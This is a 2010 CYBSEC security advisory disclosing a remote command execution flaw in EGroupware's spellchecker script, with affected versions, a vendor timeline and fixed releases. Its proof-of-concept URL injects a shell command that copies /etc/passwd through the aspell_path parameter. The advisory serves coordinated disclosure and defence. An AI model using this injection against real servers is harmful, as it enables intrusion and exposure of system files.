Advisory Name: Remote Command Execution in EGroupware

Vulnerability Class: Remote Command Execution

Release Date: 2010-03-09

Affected Applications: Confirmed in EGroupware 1.4.001+.002 and 1.6.001+.002. EGroupware Premium Line 9.1 and 9.2 is also affected. Other versions may also be affected.

Affected Platforms: Multiple

Local / Remote: Remote

Severity: High – CVSS: 10 (AV:N/AC:L/Au:N/C:C/I:C/A:C)

Researcher: Nahuel Grisolía

Vendor Status: Acknowledged / Fixed.

Reference to Vulnerability Disclosure Policy: http://www.cybsec.com/vulnerability_policy.pdf

Reference to CYBSEC Security Advisories: http://www.cybsec.com/EN/research/default.php

Vulnerability Description:

EGroupware is prone to a remote command execution vulnerability because the software fails to adequately sanitize user-supplied input.

Successful attacks can compromise the affected software and possibly the computer running EGroupware.

Proof of Concept:

http://server/egroupware/phpgwapi/js/fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/**spellchecker.php**?**aspell_path**=cat%20/etc/passwd%20%3E%20/tmp/passwd;

Parameter **spellchecker_lang** is also affected.

Impact:

Direct execution of arbitrary code in the context of Webserver user.

Solution: Fixed in EGroupware version 1.6.003, EPL-9.1.20100309 and EPL-9.2.20100309. Link available with information: http://www.egroupware.org/news?category_id=95&item=93

Vendor Response:

Feb 5, 2010 - CYBSEC first notification
Feb 8, 2010 between Mar 7, 2010 – Multiple contacts.
Mar 9, 2010 – Vendor released fixed versions.
Mar 9, 2010 – Vulnerability is published.

Contact Information:

For more information regarding the vulnerability feel free to contact the researcher at
ngrisolia <at> cybsec <dot> com

About CYBSEC S.A. Security Systems:

Since 1996, CYBSEC is engaged exclusively in rendering professional services specialized in Information Security. Their area of services covers Latin America, Spain and over 250 customers are a proof of their professional life.

To keep objectivity, CYBSEC S.A. does not represent, neither sell, nor is associated with other software and/or hardware provider companies.

Our services are strictly focused on Information Security, protecting our clients from emerging security threats, maintaining their IT deployments available, safe, and reliable.

Beyond professional services, CYBSEC is continuously researching new defense and attack techniques and contributing with the security community with high quality information exchange.

For more information, please visit www.cybsec.com